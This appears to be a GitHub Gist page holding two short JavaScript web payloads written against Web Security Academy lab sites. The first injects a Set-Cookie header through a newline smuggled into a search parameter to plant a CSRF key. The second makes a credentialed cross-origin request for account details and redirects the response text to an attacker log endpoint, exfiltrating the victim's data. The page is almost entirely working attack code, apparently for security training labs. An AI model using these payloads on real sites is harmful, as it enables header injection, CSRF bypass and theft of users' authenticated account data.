Last active
January 22, 2021 18:28
-
-
Save leveled/205bd19e5261a0275907e752a79d028f to your computer and use it in GitHub Desktop.
XHR request - updated
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script> | |
| const xhr = new XMLHttpRequest(); | |
| var url = "https://ac4d1fc41e36a25980e119df00010089.web-security-academy.net/?search=whoami%0aSet-Cookie:%20csrfKey=w2odvLHxDvlfyVclGjK5nM99d2KZY6MG"; | |
| xhr.open("GET", url); | |
| xhr.send(); | |
| xhr.onload = () => { | |
| if (xhr.status === 200){ | |
| console.log("response received"); | |
| } | |
| }; | |
| </script> | |
| //Alternative with litener | |
| <script> | |
| var req = new XMLHttpRequest(); | |
| req.onload = reqListener; | |
| req.open('get','https://ac0f1f641f347fbd80e16c6c005100d2.web-security-academy.net/accountDetails',true); | |
| req.withCredentials = true; | |
| req.send(); | |
| function reqListener() { | |
| location='/log?key='+this.responseText; | |
| }; | |
| </script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment